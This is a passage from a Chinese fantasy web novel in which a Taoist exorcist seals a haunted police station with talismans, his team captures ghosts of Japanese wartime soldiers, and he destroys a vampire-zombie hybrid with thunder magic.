然而,古德的准备还未结束。
他从箱子中,又取出了厚厚一叠下午绘制好的“六丁六甲镇煞符”。
他指尖法力微吐,在符箓的上轻轻一点,符纸瞬间变得挺括而充满灵性。
接着,古德的身形再次闪动起来,如同鬼魅般在警署外围穿梭。
他将手中的符箓,精准地拍在每一处墨线网络的交叉节点上,以及警署所有的大门、窗户、通风口等可能逸散阴气的出入口上!
“啪!啪!啪!”
符箓贴上之后,便像是生了根一样,牢牢地吸附在墙面或门窗上,并且隐隐地与整个墨线网络、乃至外围八卦光幕的能量流动产生了共鸣,进一步加固和强化了阵法的每一个环节。
“最后一张!”
古德身形一闪,出现在警署的正大门前。
这里阴气最重,门上甚至凝结了一层薄薄的黑霜。
他将手中最后一张、也是灵力最足的一张“六丁六甲镇煞符”,用力拍在了厚重的木质大门中央!
紧接着,他右手并指如剑,指尖凝聚着精纯的法力,猛地点在那张符箓之上,低声喝道:
“金光速现,覆护*
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*。神符镇煞,万鬼潜形——敕!”
“嗡!”
随着他一声“敕”令,仿佛按下了某个总开关!
贴在警署各处、以及墨线节点上的所有符箓,上面的朱砂符文同时闪过一道耀眼的金色流光!
整张无形的能量大网和外层的八卦光幕,随之微微一震,变得更加凝实、更加稳固!
散发出的肃杀和**气息也陡然提升了一个档次!
“呼……”
直到此时,古德才缓缓地、长长地吐出了一口浊气。
他的额角已经渗出了细密的汗珠,连续进行如此精密、浩大的布阵操作,对心神和法力的消耗都是巨大的。
即使以他通幽境的修为,也感到了一丝疲惫。
他后退几步,退到了阵法的影响边缘,双手叉腰,微微喘息着,抬头望向眼前的景象。
只见在半透明的、流转着八卦符文的巨大光幕笼罩下,整个警署如同一个被扣在琉璃碗中的、正在上演恐怖默剧的舞台。
里面鬼影幢幢,嘶嚎不断,发出愤怒的咆哮。
“阵法已成。”
古德轻声说道,语气中带着一丝完成杰作后的疲惫与满意。
“八卦缚灵,镇煞于此。天罗地网,看你们还能往哪里逃!”
他稍微平复了一下呼吸和体内略微波荡的法力,眼神重新变得锐利而充满战意。
“接下来……”
古德缓缓转过身,伸手,握住了琴盒中那柄最为沉重的古朴青铜阔法剑的剑柄。
“锵——!”
一声清越的剑鸣响起,仿佛龙吟!
青铜阔剑应手而出,沉重的剑身在昏暗的光线下划过一道冷冽的弧光,剑刃上似乎有古老的符文一闪而逝。
一股厚重、锋锐、充满破邪气息的煞气从剑身上弥漫开来。
古德单手握剑,将沉重的阔剑轻松地扛在肩上。
他抬眼,目光穿透那层半透明的八卦光幕,地锁定在警署正门上。
“就该是……关门打狗的环节了。”
他嘴角勾起一抹带着冷意和期待的笑容。
青铜剑似乎也感应到了主人沸腾的战意,发出低沉的、几不可闻的嗡鸣,仿佛在渴望着接下来的畅饮。
第198章 六丁六甲,逼其现形
古德话音落下的下一秒。
他一直按在青铜阔剑剑柄上的双手,骤然抬起!
十指灵动如飞,快得带起一片残影,在胸前闪电般结成一个古朴繁复的手印,正是《专门用于召请和御使六丁六甲神将法力的“召役印”!
此印刚一结成,古德周身原本内敛平和的法力,仿佛被投入火星的汽油桶,轰然沸腾、爆发!
一股强大而灼热的气息以他为中心扩散开来,吹得他风衣下摆猎猎作响!
他双目精光爆射,口诵真言,声音不再平淡,而是如同滚滚春雷,一字一句都蕴含着强大的法力波动,在寂静的警署门前炸响,震得空气都泛起涟漪:
“六丁护我形,六甲保我魂!”
“丁神甲将,听吾号令!”
“驱雷役电,拘摄鬼精!”
“破其巢穴,逼其现形!”
“急急如律令!”
随着这最后一句蕴含法则力量的“律令”出口,古德结印的双手,猛地向前一推!
目标,直指前方那栋被阴气笼罩、如同鬼蜮的警署大楼!
他推出不是双手,而是两道凝练到极致的纯阳神力!
“轰隆——!!!”
并非物理层面的**,而是能量与能量、法则与法则之间的剧烈碰撞所发出的沉闷巨响!
这声音直接作用于人的灵魂深处,让在场所有人都感到心头一悸!
整栋警署大楼,如同被一柄无形的巨锤狠狠砸中,剧烈地、肉眼可见地摇晃了一下!
墙壁上的灰尘簌簌落下,窗户玻璃发出令人牙酸的呻吟!
“呃啊啊啊——!!!”
凄厉、尖锐、充满了无尽痛苦和怨毒的惨嚎声,不再是零星出现,而是如同决堤的洪水,猛地从警署的每一个角落疯狂地涌了出来!
又地下室通风管的缝隙、老旧墙体的裂缝、门窗的间隙,这声音汇聚在一起,形成一股恐怖的音浪,冲击着所有人的耳膜和心神!
那是成百上千被囚禁、滋养在此地的怨魂,在被至阳至刚的六丁六甲神力如同烧红的烙铁般灼烧、驱赶、净化时,发出的最本能、最绝望的哀鸣!
它们的阴邪本质与这纯正的神力天生相克,接触的瞬间,便如同冰雪遇到了烈阳!
下一刻,警署内部突然发生了惊人的变化!
墙壁上,那些古德亲手贴上的几十张"六丁六甲镇煞符",仿佛一下子活了过来。
原本静静贴着的符纸开始自己抖动起来,发出哗啦啦的响声,明明没有风,却像被狂风吹拂一样剧烈摆动。
符纸上用上好朱砂写的玄妙符文,突然迸发出刺眼的金色电光。
这电光不像普通的闪光,倒像有生命一样,扭曲着、跳跃着、四处蔓延。
“噼里啪啦!噼里啪啦!”
密集的电弧爆裂声在警署每个角落响起,像过年放鞭炮一样热闹。
一张由至阳雷霆之力组成的巨大光网,瞬间罩住了整个警署内部。
在这克制万邪的金色电光照射和灼烧下——
“嘶嘶嘶……!”
“嗬嗬……!”
无数道原本潜伏在墙壁阴影里、地板下、天花板夹层中的模糊、扭曲、散发着浓郁阴气的鬼影,被这突如其来的神圣力量硬生生地“逼”了出来!
它们一碰到金光,就像被扔进油锅一样,身上冒出浓密腥臭的黑烟,发出痛苦疯狂的尖叫。
这些鬼影,大多穿着破旧不堪、款式古老的日本军装,军衔高低不一,但眼神都充满了麻木的凶戾和被困守数十年的怨气。
它们是这片鬼蜮中数量最多、但也最弱小的“炮灰”鬼兵。
在六丁六甲神力的强势压制下,它们的魂体变得明灭不定,行动迟缓,原本的凶戾之气被大幅削弱。
然而,鬼物的数量实在太多了!
简直密密麻麻,如同蟥虫!
而且,它们似乎被警署深处某个更强大、更疯狂的意志所驱使和控制,即使承受着巨大的痛苦,也陷入了彻底的、不顾一切的疯狂!
“为了**陛下!板载(ばんざい)!”
“无敌!(ぶじだ!)”
几只离一楼窗户最近、身形稍微凝实一些的军官模样的厉鬼,眼中闪烁着歇斯底里的猩红光芒。
竟然完全不顾周身被金光灼烧得“滋滋”作响、黑烟直冒,嘶吼着那句罪恶滔天的口号,如同**式攻击的神风队员,合身朝着贴有镇煞符的窗户猛撞过去!
“咔嚓——哐啷!”
脆弱的玻璃如何能承受这等冲击?
纷纷应声而碎!
那几张贴在窗框上的镇煞符,在几只厉鬼不惜魂飞魄散、以自身魂体为代价
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的疯狂冲击下,金光猛地一暗,符纸上的朱砂符文迅速变淡,随即“噗”地一声,无火自燃,眨眼间便化为了几小撮灰烬,飘散在阴风中!
几乎在同一时间!
“砰——!!!”
一声更大的巨响从警署正门方向传来!
那扇厚重的、原本被符箓封印的大门,被数名气息明显更加强悍、穿着高级军官服饰的厉鬼联手轰开!
木屑纷飞!
门上贴着的最高品级的“六丁六甲主符”剧烈闪烁了几下,虽未立刻焚毁,但光芒也黯淡了大半。
之前被鬼物撞破的窗户缺口也在不断扩大。
这两个缺口一开,就像打开了地狱的大门。
一股冰冷刺骨的寒气从警署内部涌出,带着浓重的血腥味和尸体腐烂的恶臭。
这气息像是积蓄了百年的洪水终于找到出口,疯狂地从大门和窗口喷涌而出,瞬间就充满了整个一楼大厅,还不断向外扩散。
温度一下子降了很多,空气中甚至凝结出了细小的冰晶,带着一股腥味。
墙壁上、地面上,以肉眼可见的速度结出了一层厚厚的白霜,看起来特别不祥。
光线也变得更暗了,好像连光都被这极致的阴寒给吞噬了。
更多的鬼影,如同来自地狱的蝗虫群,争先恐后地从这些缺口蜂拥而出!
它们穿着不同年代、但都昭示着侵略与罪恶的小日子军装,从早期的昭五式到后期的九八式,俨然一支跨越了时间的、充满怨念的亡灵军队!
其中大部分是面目狰狞、眼神呆滞的恶鬼,但也混杂着几十个气息凶悍、周身缠绕着血色煞气的中低级军官厉鬼。
它们手持着由精纯阴气凝聚而成的、寒光闪闪的**或上了刺刀的**,发出无声却震撼心灵的咆哮,组成散兵线,带着一股临死前的疯狂和军国主义的顽固,向着站在阵法边缘的古德一行人压迫而来!
百鬼夜行,阴兵过境!
场面足以让普通人肝胆俱裂!
然而,古德只是静静地站在原地,冷眼旁观着这一切,嘴角甚至勾起了一抹冰冷而略带嘲讽的弧度。
“呵……”
他轻哼一声,语气平静得可怕,仿佛在看一场与己无关的闹剧。
“终于都忍不住……滚出来了。也好,省得我一个个进去揪。”
第199章 准备直入鬼蜮
接着古德轻松地转头,对身后严阵以待的谢潮、于子朗等人说,语气就像在吩咐一件日常小事:
“阿潮,子朗,还有各位,悠着点打。”
他特意强调,“别一上来就用魂飞魄散的狠招。多用我给你们准备的特制收鬼符,尽量抓活的。”
古德的嘴角微微上扬,“这些可都是行走的阴德,这次能不能发笔小财,可就看这一波的收成了!”
谢潮闻言,咧嘴一笑,露出一口白牙,手中的打鬼棒熟练地挽了一个棍花,带起呼呼风声:
“明白,阿德!你就瞧好吧!保证把它们伺候得舒舒服服,然后请君入瓮!”
他的语气带着跃跃欲试的兴奋。
他身旁的于子朗没有说话,只是沉稳地点了点头,反手将那把刻满了破煞符文的青铜短刃握得更紧了些,眼神锐利如鹰,紧紧锁定着冲在最前面的几个军官厉鬼。
“行动!”古德不再多言,简洁地下令。
霎时间,原本肃杀凝重的大厅前,光华骤起!
谢潮一马当先,如同下山的猛虎,冲入鬼群!
他手中的打鬼棒舞得密不透风,专门敲向鬼物的关节、灵枢等要害,力道控制得恰到好处,既能将鬼物打得形体溃散、暂时失去行动力,又不会伤及其魂体本源,完美地执行了“抓活的”指令。
周星星则哇哇怪叫着,打法更加狂放不羁,手中的“金箍棒”扫、砸、捅、挑,虽然看起来毫无章法,却每每能出其不意地将鬼物放倒,嘴里还不停地嚷嚷着:
“哎呀呀,这个小鬼子归我!”
“喂喂喂,那个少佐你别抢!”
充满了他的风格,倒是冲淡了不少战场上的恐怖气氛。
于子朗身法最为灵巧,如同鬼魅般在鬼群中穿梭,每次出手都迅如闪电!
他并不与鬼物过多纠缠,看准机会,手中的收鬼符便精准无比地拍在被谢潮或周星星击溃的鬼物额头上!
符光一闪,那鬼物便发出一声短促的哀嚎,化作一缕青烟,被吸入符纸之中。
动作干净利落,效率极高。
马季则游走在战圈外围,手中的双枪如同死神的点名笔,“砰!砰!砰!”进行着精准的点射。
特制的破邪**不仅能击伤鬼物,弹头上蕴含的破煞之力更能将鬼物“钉”在原地片刻,为队友创造绝佳的捕捉机会。
郑立舞动着那根由特殊材料制成的法鞭,鞭子如同有生命的灵蛇,一次性能巧妙地捆住三四只恶鬼,让它们动弹不得,只能徒劳地嘶吼。
整个场面,不像是一场生死搏杀,更像是一场高效、专业的“垃圾清理”作业。
异灵灵异部门的成员们各司其职,将古德传授的技巧和自身的特长发挥得淋漓尽致。
而古德自己,则将目光从这片丰收的田野上移开,投向了那扇已经被彻底冲开,内部翻滚着如同墨汁般阴煞之气的警署大门。
那里,鬼蜮的边界已经清晰地蔓延到了门口。
门内是吞噬一切的黑暗,门外是阵法加持下的相对光明。
光与暗在那里形成了泾渭分明、却又激烈对抗的界限,相互侵蚀、挤压,发出令人头皮发麻的“滋滋”声,仿佛两个世界正在角力。
古德能清晰地感觉到,在那片黑暗的最深处,一股沉眠积郁了数十年,充满了暴虐、冰冷、以及某种军国主义癫狂意志的庞大而邪恶的力量,正在被外界的动静彻底惊醒。
如同沉睡的火山,开始缓
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缓苏醒、积蓄力量!
它应该就是这一切怨气的源头,是这群鬼物的实际控制者和指挥官!
古德深吸一口气,将插在身旁地上的那柄沉重的青铜阔剑,轻松地拔起,随手扛在了自己宽阔的肩头。
他转身,对一直默默守护在他身侧、手中紧握着那柄散发着凛然正气的钟馗宝剑的高彦博,露出了一个轻松的笑容,说道:
“走吧,彦博哥。外面的这些小杂鱼,就交给他们去练手好了。”
他指了指那片深邃的黑暗,“咱们进去,会一会里面那个躲了几十年、不敢见光的老鬼们。”
他顿了顿,语气随意地补充道,仿佛在说一件微不足道的小事:
“等会儿要是蹦出来个鬼王级别的大家伙,交给我来料理。其他的那些有点道行的军官厉鬼嘛……”
他看了一眼高彦博手中那柄隐隐发出轻鸣的钟馗剑,“就由你……请神来对付了。”
高彦博闻言,脸上没有丝毫畏惧之色,反而流露出一种身为正道传人的肃穆与责任感的。
他重重地点了点头,左手并指如剑,轻轻地地拂过钟馗宝剑那冰冷而威严的剑身。
一股凛然不可侵犯的浩然正气,开始在他周身缓缓凝聚、升腾。
“好。”
他沉声应道,声音不高,却异常坚定,充满了力量。
简单一个字,已然表明了他的态度和决心。
古德笑了笑,不再多言。
他扛着青铜阔剑,迈开脚步,率先向着那扇通往更深层鬼蜮的、散发着不祥气息的警署大门,坦然走去。
高彦博手握钟馗剑,紧随其后。
两人的身影,一前一后地投入了那片仿佛能吞噬一切的浓稠黑暗之中。
第200章 原来只是半尸半鬼的怪胎
古德毫不犹豫,率先一步,踏入了那扇如同巨兽狰狞大口般的警署正门。
就在他脚步落下的瞬间,感觉像是穿透了一层冰冷、粘稠、富有弹性的无形水膜!
周身传来一股明显的阻滞感,随即是彻底的隔绝!
身后,谢潮等人与鬼兵交战的呼喝声、法力的爆鸣声、乃至八卦阵法散发出的柔和光辉,刹那间全部消失无踪!
仿佛被一只无形的大手猛地掐断了!
取而代之的,是一种足以令人发疯的、死一般的寂静!
以及一种浓郁到化不开的、混合着陈年血腥、尸体腐烂、还有一种冰冷金属锈蚀的污浊气息,无孔不入地钻进鼻腔,直冲脑门!
脚下的地面不再是坚实的水泥,而是一种软塌塌、湿漉漉的诡异触感,仿佛踩在浸饱了污血的烂泥沼泽上,每一步都会微微下陷,带起令人牙酸的“噗叽”声。
黑暗,是这里唯一的主色调。
那不是普通的黑夜,而是一种仿佛能吞噬所有光线的、浓稠如墨的极致黑暗。
目光所及,超过三五步便一片模糊,只能凭借灵觉和法力去感知。
这环境根本于电影里出现的场景完全不同。
不过古德知道这才是鬼蜮的真实环境,电影里的也只不过是幻象。
在这片绝对的黑暗与死寂中,古德周身自然流转的淡金色护体毫光,此刻却如同在无边墨海中点燃的一盏明灯,驱散了身周一小片区域的黑暗。
那些无处不在、试图侵蚀过来的阴冷怨念,一接触到这层金光,便如同冰雪遇到烈阳,发出细微的“滋滋”声,迅速消散退避。
紧跟在他身侧的高彦博,情况也类似。
他手中那柄传承有序的钟馗宝剑,此刻无需催动,便自主地散发出清正、凛然的白灼光芒,如同黑夜中的灯塔,与古德身上的金光交相辉映,共同撑起了一片相对安全的净土。
两人警惕地扫视着四周。
在这片鬼域的核心,他们的感知都受到了极大的压制,仿佛置身于一个巨大的、充满恶意的力场之中。
“啧啧……”
一个冰冷、带着异样磁性,却又隐含着一丝无尽怨毒的声音,突兀地在死寂中响起。
“强大而充满活力的气血……真是……令人怀念的、阳世的味道啊……”
那声音里充满了一种病态的饥渴和扭曲的怀念。
前方的黑暗,如同活物般开始剧烈地蠕动、汇聚,迅速凝聚成一个清晰的身影。
身影逐渐凝实。
这是一个身高接近一米九的男子,体型匀称而挺拔,穿着一身熨烫得笔挺、却散发着陈旧腐朽气息的旧樱花国陆军将官制服,肩章显示着不低的军衔。
但极不协调的是,在他制服外面,却披着一件质地华丽、颜色暗红仿佛由凝固的血液织就的丝绒斗篷!
他的面容是典型的东亚人特征,五官甚至可以说有几分军人的硬朗和端正。
但肤色却是一种毫无生气的、死气沉沉的惨白,仿佛几百年未曾见过阳光。
他那双眼睛猩红如血!
瞳孔深处,跳跃着疯狂、贪婪、饥渴,以及刻骨怨毒!
他微微咧开嘴,露出嘴角两颗尖锐的、闪烁着冰冷寒光的獠牙!
一股混合了尸臭和血腥的邪恶气息,扑面而来!
古德眉头微微一皱,眼中淡金色的光芒一闪而逝,“观气”之术瞬间发动。
下一刻,他脸上露出了一丝了然,但随即又变成了毫不掩饰的失望。
“我当是什么了不得的玩意儿……”
古德撇了撇嘴,语气平淡,甚至还带着一丝意兴阑珊。
“原来是个半鬼半尸的怪胎。而且……”
他仔细感知了一下,摇了摇头,语气中的嫌弃更加明显:
“这气息驳杂不纯,根基虚浮……不像是天地生成的异种,倒像是……被人用某种邪门的手段,强行把东方厉鬼的怨气和西洋吸血鬼的血能糅合在一起的实验失败品?”
他提着沉重的青铜阔剑,用剑尖随意地指了指对方,点评道:
“看你这卖相和气息,根基大概能相当于僵尸里的半步飞僵吧?”
他话锋一转,毫不客气地嘲讽道:
“可惜啊,因为本质冲突,力量互相内耗,十成实力能发挥出七成就不错了。实战起来,恐怕还不如一个纯粹的、实力相当的半步飞僵难缠。”
他想起了之前对付的秦尸
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,对比之下,更是觉得眼前这家伙有点不上台面。
“唉……”古德甚至轻轻叹了口气,嘀咕道:
“本来还以为能遇到个和秦尸同等级的对手,毕竟当时可是占据阵法之力,这次提升了那么多法力,还想好好活动活动筋骨。结果……就这?真是个……拙劣的拼凑品啊。”
“拙劣的拼凑品”这六个字,仿佛六根烧红的钢针,狠狠地刺入了那吸血鬼尸王最敏感、最不愿被触及的痛处!
“八嘎……!”
它那猩红的眼眸中,瞬间爆发出滔天的暴戾杀意!
惨白的脸因极致的愤怒而扭曲得更加狰狞!
周身那原本就很不稳定的尸煞之气和暗红血能,如同沸腾的油锅般剧烈翻腾起来!
“吼!”
它发出一声不似人声的低沉咆哮,身影猛地一晃!
并非鬼魂常见的瞬移,也不是僵尸纯粹的跳跃,而是一种兼具了僵尸爆发式的迅猛与吸血鬼滑行般诡异优雅的、极其不协调的移动方式,如同一道扭曲的红白相间的闪电,瞬息之间便跨越了十几米的距离,逼近到古德身前!
一只缠绕着浓稠如墨的尸煞与暗红邪异血能的利爪,带着撕裂空气的尖啸,直掏古德的心窝!
爪风凌厉,尚未及体,一股阴寒刺骨、带着强烈腐蚀性的气息已然扑面而来!
“来得好!”
古德虽然失望,但反应却快如闪电!
他眼神一凝,非但不闪不避,反而踏前一步!
一直垂在身侧的左手早已蓄势待发,五指张开,掌心之中刺目的白色电光疯狂汇聚,发出“噼啪”爆响!
“**!”
古德一声清喝!
“轰咔——!!!”
金光咒打底,还加上至阳至刚、蕴含破邪诛魔之力的雷霆电光,与那阴邪歹毒、汇聚了尸血双煞的利爪,悍然对撞在一起!
爆发出闷雷般的巨响!
刺目的电光瞬间照亮了周围大片的黑暗,将吸血鬼尸王那张惨白扭曲的脸映照得如同地狱深处爬出的恶鬼!
光芒中,可以清晰地看到,它手臂上缠绕的黑色尸煞和暗红血能,在雷霆之力的冲击下,如同遇到克星般迅速消融、撕裂!
第201章 小花招倒是不少
“呃!”
吸血鬼尸王闷哼一声,整个人被**那霸道的力量震得向后滑退了数步!
脚下的怨念淤泥被犁出两道深深的沟壑!
它那华丽的暗红斗篷被激荡的气流吹得猎猎作响!
然而,一击受挫,这怪物眼中红芒一闪,周身气息陡然发生了诡异的变化!
那原本外显的、阴冷的尸煞之气迅速内敛,取而代之的,是一股更加灵动,并且带着一种强烈精神污染力的暗黑血能!
它切换到了更强的吸血鬼形态!
在此形态下,它身上被**灼伤的痕迹,竟以肉眼可见的速度开始蠕动、愈合!
显然,对雷电、火焰等部分纯能量道法的抗性得到了明显的提升!
“哦?还能切换形态?”
古德眉毛一挑,脸上露出了一丝感兴趣的神色,但随即又撇了撇嘴:
“小花招倒是不少。不过……”
他掂了掂右手上的青铜阔剑,“也就仅此而已了!还不够看!”
话音未落,古德足下猛然发力!
脚下那黑色的、充满怨念的淤泥“嘭”地一声炸开!
他身形如一张拉满的强弓射出的利箭,爆射而出!
速度竟比刚才那吸血鬼尸王的扑击还要快上三分!
手中那柄沉重无比的青铜阔剑,撕裂空气,发出沉闷如牛吼的破空声!
剑身之上,高度凝聚的金光咒之力,化作实质般的、流淌的金色光华!
一股无坚不摧、荡尽天下污秽的凛然剑意,冲天而起!
“荡秽七式·破岳!”
古德吐气开声,双手握剑,一式简单直接、却蕴含千钧之力的劈砍,朝着刚刚稳住身形的吸血鬼尸王,当头斩下!
剑光如瀑,仿佛真的要将这污秽之地,连同眼前的邪魔,一并劈开!
那樱花国的吸血鬼尸王,眼见古德这记蕴含煌煌正道、破邪诛魔意志的青铜阔剑当头劈来,猩红的瞳孔骤然收缩!
它嘶吼一声,双臂猛地交叉架在头顶!
双臂之上,那股散发着不祥气息的血色煞气疯狂涌动,瞬间在其头顶凝聚成一面厚实的、不断旋转的暗红色血液护盾!
盾面上浮现出扭曲的蝙蝠纹路,试图硬扛下这势大力沉的一击!
然而,它远远低估了古德金光咒的本质!
古德修炼的金光咒,乃道门护身根本**之一,其核心奥义并非简单的能量堆积,而是直指“万法不侵、破灭邪秽”的规则层面!
对于一切阴性能量及其变种,有着先天性的、近乎绝对的克制效果!
这吸血鬼的血煞,虽然糅合了部分西洋异种特性,但其根基,依旧是阴煞、污秽之属!
只见青铜阔剑那凝聚了炽烈金光的剑锋,毫无花巧地斩在了那面看似坚固的暗红血盾之上!
“嗤——噗!”
没有惊天动地的**,只有一声如同烧红烙铁切入凝固油脂般的、令人牙酸的声响!
那面凝聚了尸王大量血能的护盾,在蕴含破邪规则的金光面前,简直如同烈日下的残雪,又好似纸糊的窗户,连一瞬都没能阻挡,便被轻而易举地从中一分为二,随即彻底崩溃消散!
剑锋去势不减,带着斩灭一切的决绝,狠狠地劈在了尸王仓促间交叉格挡的双臂之上!
“铛——!!!!”
一声刺耳欲聋、仿佛两柄千斤重锤猛烈撞击的金铁交鸣之声,猛地炸响!
火星四溅!
“呃啊!”尸王发出一声痛苦混合着惊怒的闷嚎!
它只觉一股无可抗拒的巨力,混合着一种灼热刺痛、仿佛能净化它灵魂的恐怖能量,顺着剑锋狠狠灌入它的手臂乃至全身!
“咔嚓……嘎吱……”令人牙酸的骨骼摩擦、不堪重负的声音,清晰地从它手臂处传来!
它那双引以为傲的、坚逾精钢的手臂,此刻竟被劈得骨裂筋折!
巨大的冲击力使得它双腿如同打桩一般,“噗嗤”一声深深地陷入了脚下那粘稠污浊的怨念淤泥之中,直没至膝!
剑锋接触之处,它那惨白如纸的皮肤,更是被高度凝聚的金光咒能量灼烧得一片焦黑溃烂,散发出难闻的焦臭味,甚至露出了下面暗红色的、微微蠕动的肌肉组织!
漆黑的尸血刚刚渗出,便被残留的金光蒸发成缕缕黑烟!
“吼——!八嘎呀路!”
接连受创,剧烈的痛苦和被轻视的羞辱感,彻底点燃了这头怪物心中属于厉鬼的疯狂与暴戾!
它猩红的双眼瞬间布满血丝,理智几乎被**吞噬!
它强行切换回
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了鬼物形态!
周身尸煞之气内敛,身形变得更加飘忽、模糊,速度陡然提升!
“嗖”地一下,它竟摆脱了剑势的压制,化作一道带着刺骨阴风的鬼影,如同附骨之疽般,围绕着古德高速旋转起来!
寻找着一击必杀的机会!
骤然,它瞅准一个看似微小的空隙,一只指甲乌黑尖长,缠绕着剧毒阴煞的鬼爪,悄无声息地带着阴毒气息,闪电般掏向古德的后心要害!
这一爪若是抓实,即便以古德的修为,也难免肉体受创!
然而,古德仿佛背后长了眼睛一般!
他脚下步伐倏忽一变,脚踏七星罡步,身形如同风中柳絮,又似水底游鱼,轻盈地、间不容发地一个旋身,恰好以毫厘之差,避开了这阴险毒辣的一爪!
动作如行云流水,充满了一种难以言喻的韵律感和从容不迫。
不仅如此,在避开攻击的刹那,古德手中那柄沉重无比的青铜阔剑,仿佛失去了所有重量,随之舞动起来!
剑招连绵不绝,或挑或抹,或点或刺,将自身守得密不透风!
时而剑光爆散,如燎原星火,迸射四方,精准地封锁住尸王所有可能的闪避路线!
时而剑势凝聚,如银河倒泻,化作一道凝练无比的匹练寒光,犀利地切断尸王周身阴气的流转节点!
时而剑招连绵,如惊涛拍岸,一浪高过一浪,持续不断地轰击在尸王身上,将它那身象征着他罪恶过往的将官服和那件不伦不类的暗红斗篷,切割得支离破碎,化作片片碎布,漫天飞舞!
这樱花国的吸血鬼尸王,空有半步飞僵的强悍力量、厉鬼的诡异敏捷以及吸血鬼的血能变化,此刻却如同一头陷入了无形蛛网的凶猛飞虫,处处受制,有力无处使!
它疯狂地咆哮、挣扎、扑击、变幻形态,却始终无法突破古德那看似随意,实则蕴含玄奥剑理与磅礴法力的剑光圈!
所有的攻击,不是被轻易避开,就是被长剑格挡!
它周身散发出的那些足以让普通修士瞬间冻僵的阴煞之气,一旦靠近古德周身三尺之内,便被那一层凝练得如同琉璃金钟般的护体金光,轻而易举地消弭、净化,根本无法侵入分毫!
“太废了!”
......
第202章 收着力一点
“太慢了!”
古德一剑荡开尸王的利爪,摇头点评道。
“力量转换之间滞涩明显,破绽太大!”
“太僵了!”
他侧身避开一记血能冲击,反手一剑拍在尸王后背,打得它一个踉跄。
“徒有速度,应变不足!思维还停留在生前那套死板的战术上吗?”
“太废了!”
古德最后总结道,语气中带着毫不掩饰的失望。
“空有一副强大的躯壳和力量,却无法有效统合,发挥不出应有的实力!制造你的那个家伙,这实验……看来是彻底失败了啊*”
古德一边轻松写意地抵挡着攻击,一边在心中快速分析。
他原本以为,能够统御如此庞大一个鬼蜮的存在,再差也应该是和当初那具千年秦尸同等级别的棘手货色,需要他严阵以待,甚至要借助外面布下的八卦大阵全力**才行。
没想到,眼前这个,只是一个失败的实验品!
一个被人用邪法强行提升到“半步飞僵”境界,却因为本质冲突、意识混乱而无法发挥其真正实力的空壳子!
实力比那秦尸差得远了!
“看来,是樱花国投降之后,某些不甘失败的顽固分子或者秘密部队,在这里进行了某种惨无人道的邪恶实验,弄出了这个怪胎,然后将它埋在这极阴之地,试图培育成某种武器……”
古德心念电转,大致猜到了这鬼蜮的由来。
不过,这些历史恩怨,现在不是深究的时候。
玩也玩够了,试探也试探清楚了。
古德眼神一凝,决定结束这场毫无挑战性的战斗。
他左手悄然探入腰间的法袋,指尖夹出了一张材质特殊、通体呈现暗金色、上面用银丝勾勒出复杂雷纹的符箓,正是威力巨大的“五雷斩邪符”!
恰在此时,那吸血鬼尸王又一次被古德精妙的剑势逼得手忙脚乱,为了躲避斩向脖颈的一剑,它不得不大幅度后仰,胸前瞬间空门大露!
“好机会!”
古德眼中精光一闪!
他脚下猛地一蹬,身形如同鬼魅般瞬间贴近!
以间不容发之势,巧妙地避开了尸王仓促间挥出的、带着腥风的利爪反击!
左手如闪电般探出,指尖夹着的那张暗金雷符,精准无比地、结结实实地拍在了尸王那惨白的额头正中央!
“啪!”一声清脆的轻响。
符箓贴上的瞬间,便如同生了根一般,牢牢吸附在上面!
符纸上的银色雷纹,骤然亮起微光!
古德一击得手,毫不恋战,身形如同柳絮般向后飘飞数米,稳稳落地。
他并指如剑,对准那额头贴符、尚未反应过来的尸王,口中急诵:
“五方雷帝,威震乾坤!霹雳**,破伏邪精——敕!”
“轰隆隆隆——!!!”
这一次,不再是单一的白色电光!
五道颜色各异、分别对应东方甲乙木(青色)、南方丙丁火(赤色)、中央戊己土(黄色)、西方庚辛金(白色)、北方壬癸水(黑色)的璀璨神雷,仿佛撕裂虚空,自尸王体内由内而外地猛然爆发!
五行神雷,相生相克,在尸王体内形成了一个微小却完美而暴虐的毁灭循环!
无论是僵尸的不灭体,还是吸血鬼的黑暗血能,亦或是厉鬼的阴魂本质,在这蕴含天地正气、代表法则惩罚的五行神雷面前,都遭到了无差别的、毁灭性的打击!
“嗷啊啊啊啊啊——!!!”
吸血鬼尸王发出了开战以来最凄厉、最绝望、完全不似人声的惨嚎!
它的身体如同一个被点燃的、装满**的破麻袋,剧烈地抽搐、膨胀、收缩!
皮肤寸寸开裂,露出下面焦黑碳化的肌肉和骨骼!
腥臭的黑血和破碎的内脏四处飞溅!
最终,它被这股无法抗拒的毁灭性能量,狠狠地炸飞出去,如同断线的风筝般,重重地砸在了鬼蜮边缘那不断蠕动、试图修复的黑暗壁垒上,发出一声沉闷的巨响!
待它如同一滩烂泥般滑落在地,可以清晰地看到,它额头被符箓贴中的地方,已经一片焦糊烂肉,甚至露出了下面空洞洞的、没有任何脑组织存在的颅腔!
古德眼神微微一动,心中了然:
‘原来没有脑子啊,不过脑子哪里去了?’
此刻的吸血鬼尸王,气息已经萎靡到了极点,如同风中残烛。
它挣扎着想要爬起,却几次都无力地摔回污浊的淤泥中,只能发出微弱而不甘的嘶吼。
古德持剑而立,看着它那副凄惨无比的模样,微微摇了摇头。
原本还指望着能活动活动筋骨,没想到……如此不堪一击。
这种残次品级别的实验体,也不知道岚婆那边收不收?
就在古德解决掉尸王的同时,另一边的战斗也接近了尾声。
高彦博在古德跟那尸鬼打斗时,正警惕的查看周围,等看到不少穿着军官服装的厉鬼围上来后。
他深吸一口气,将手中那柄钟馗宝剑,郑重地往身前的地面上一插!
剑身入地三分,微微震颤!
他结了一个手印,面色庄严肃穆,朗声高呼,声音洪亮,在这鬼蜮之中回荡:
“诚心拜请!赐福镇宅圣君!驱魔大神!伏魔帝君!天师钟馗老爷……弟子高彦博,恭请圣君法驾降临!借神通力,助弟子扫荡妖氛,肃清寰宇!”
话语方落!
“嗡——!”
高彦博身躯猛然一震!
一股浩瀚、威严、刚猛无俦、充满凛然正气的磅礴神力,轰然灌入他的四肢百骸、经脉穴窍!
他原本微胖的身形,肉眼可见地膨胀了一圈!
肌肉贲张,将衣服撑得紧绷绷!
他脸上的神情变得不怒自威,环眼圆
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睁,眸中精光四射,如同两道闪电!
虬髯戟张,一股斩尽天下邪魔、护佑人间正道的凛然气势,如同实质般以他为中心,轰然扩散开来!
周围那浓郁得化不开的阴煞之气,被这股浩然正气一冲,顿时如同滚汤泼雪一般,纷纷消融、退避!
节节败退!
他伸手,拔起插在地上的钟馗宝剑!
那宝剑此刻仿佛与他心意相通、人剑合一!
